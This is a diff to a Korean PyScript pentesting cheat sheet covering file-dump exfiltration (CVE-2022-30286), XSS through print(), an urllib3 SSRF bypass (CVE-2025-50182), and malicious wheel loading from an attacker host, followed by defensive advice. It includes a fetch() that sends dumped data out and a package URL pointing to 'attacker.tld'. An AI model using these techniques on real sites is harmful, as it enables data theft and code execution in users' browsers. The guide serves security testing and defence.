diff --git a/src/generic-methodologies-and-resources/python/pyscript.md b/src/generic-methodologies-and-resources/python/pyscript.md index 62eeb20a9..2ff52a66b 100644 --- a/src/generic-methodologies-and-resources/python/pyscript.md +++ b/src/generic-methodologies-and-resources/python/pyscript.md @@ -4,9 +4,9 @@ ## PyScript 펜테스팅 가이드 -PyScript는 Python을 HTML에 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다. +PyScript는 HTML에 Python을 통합하기 위해 개발된 새로운 프레임워크로, HTML과 함께 사용할 수 있습니다. 이 치트 시트에서는 펜테스팅 목적으로 PyScript를 사용하는 방법을 찾을 수 있습니다. -### Emscripten 가상 메모리 파일 시스템에서 파일 덤프/검색하기: +### Emscripten 가상 메모리 파일 시스템에서 파일 덤프 / 검색하기: `CVE ID: CVE-2022-30286`\ \ @@ -47,9 +47,9 @@ body: JSON.stringify({ content: btoa(console.logs) }), ``` ![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) -### 크로스 사이트 스크립팅 (일반) +### 크로스 사이트 스크립팅 (일반) -코드: +Code: ```python print("") @@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) Code: ```html -prinht(" +prinht("" -") +"") ``` ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) @@ -156,4 +156,62 @@ print("            & ``` ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) +--- + +## 새로운 취약점 및 기술 (2023-2025) + +### 제어되지 않는 리디렉션을 통한 서버 측 요청 위조 (CVE-2025-50182) + +`urllib3 < 2.5.0`은 PyScript와 함께 제공되는 **Pyodide 런타임** 내에서 실행될 때 `redirect` 및 `retries` 매개변수를 무시합니다. 공격자가 대상 URL에 영향을 미칠 수 있는 경우, 개발자가 명시적으로 비활성화했음에도 불구하고 Python 코드가 교차 도메인 리디렉션을 따르도록 강제할 수 있습니다 ‑ 사실상 anti-SSRF 로직을 우회하는 것입니다. +```html + +``` +`urllib3 2.5.0`에서 패치됨 – PyScript 이미지에서 패키지를 업그레이드하거나 `packages = ["urllib3>=2.5.0"]`에서 안전한 버전을 고정하세요. 자세한 내용은 공식 CVE 항목을 참조하세요. + +### 임의 패키지 로딩 및 공급망 공격 + +PyScript는 `packages` 목록에 임의의 URL을 허용하므로, 구성을 수정하거나 주입할 수 있는 악의적인 행위자는 피해자의 브라우저에서 **완전히 임의의 Python**을 실행할 수 있습니다: +```html + +packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] + + +``` +*오직 순수-Python 휠만 필요하며, WebAssembly 컴파일 단계는 필요하지 않습니다.* 구성은 사용자 제어가 아니어야 하며, HTTPS 및 SRI 해시와 함께 신뢰할 수 있는 휠을 자신의 도메인에 호스팅해야 합니다. + +### 출력 정화 변경 사항 (2023+) + +* `print()`는 여전히 원시 HTML을 주입하므로 XSS에 취약합니다 (위의 예시 참조). +* 새로운 `display()` 도우미는 **기본적으로 HTML을 이스케이프**합니다 – 원시 마크업은 `pyscript.HTML()`로 감싸야 합니다. +```python +from pyscript import display, HTML + +display("escaped") # renders literally + +display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted +``` +이 동작은 2023년에 도입되었으며 공식 Built-ins 가이드에 문서화되어 있습니다. 신뢰할 수 없는 입력에 대해서는 `display()`를 사용하고 `print()`를 직접 호출하는 것을 피하십시오. + +--- + +## 방어적 모범 사례 + +* **패키지를 최신 상태로 유지** – `urllib3 >= 2.5.0`으로 업그레이드하고 사이트와 함께 제공되는 휠을 정기적으로 재구축하십시오. +* **패키지 출처 제한** – PyPI 이름이나 동일 출처 URL만 참조하고, 이상적으로는 Sub-resource Integrity (SRI)로 보호하십시오. +* **콘텐츠 보안 정책 강화** – 인라인 JavaScript(`script-src 'self' 'sha256-…'`)를 허용하지 않아 주입된 `